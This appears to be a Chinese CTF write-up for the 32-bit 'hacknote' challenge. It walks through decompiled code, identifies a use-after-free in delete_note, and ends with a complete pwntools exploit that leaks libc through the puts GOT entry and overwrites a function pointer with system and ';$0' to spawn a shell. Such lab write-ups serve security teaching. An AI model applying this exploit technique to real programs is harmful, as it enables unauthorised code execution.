HACKNOTE-UAF&system函数调用

HACKNOTE-UAF&system函数调用

是一个32位选单程序主功能和开启的保护如下
在这里插入图片描述

首先看add_note 部分

unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( counter <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)ptr[i] = sub_804862B;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++counter;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

分配流程大致为 首先分配个大小为8的内存,分别存放着函数0x0805862B和存放note的地址

分配大小随意的地址内存放着note 效果如下

在这里插入图片描述
继续看delete_note部分

unsigned int delete_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= counter )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);                              // 野指针
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

free的指针没有清空。

再看打印函数

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= counter )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
  return __readgsdword(0x14u) ^ v3;
}

执行0x0805862B函数参数为其地址,而0x0805862B函数功能为打印后面的note内容。

int __cdecl sub_804862B(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

由于存在野指针,我们可以先分配两个内存大小为32的note,这样一共删除4个堆,再分配一个内存大小为8的note,于是我们就可以修改note0打印函数所执行的函数或者打印的内容,首先我们修改打印内容为puts的got表地址以此来获取system地址

之后我们执行system函数,但是system函数的参数为存放system函数地址本身这样肯定不行

但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以将content位置覆盖成 ‘;$0\x00’.

最后EXP如下

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=process('./hacknote')
elf=ELF('./hacknote')
def add_note(size,payload):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.send(payload)
def delete_note(index):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
def show_note(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))
#leak libc
add_note(32,'aaaa')#0
add_note(32,'bbbb')#1
delete_note(0)
delete_note(1)
payload=p32(0x0804862b)+p32(elf.got['puts'])
add_note(8,payload)#2
show_note(0)
puts_got=u32(p.recv(4))
print hex(puts_got)
#get system_addr
libc=LibcSearcher('puts',puts_got)
libcbase=puts_got-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
#get_shell
delete_note(2)
payload1=p32(system_addr)+';$0\x00'

add_note(8,payload1)
#gdb.attach(p)
show_note(0)
p.interactive()


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值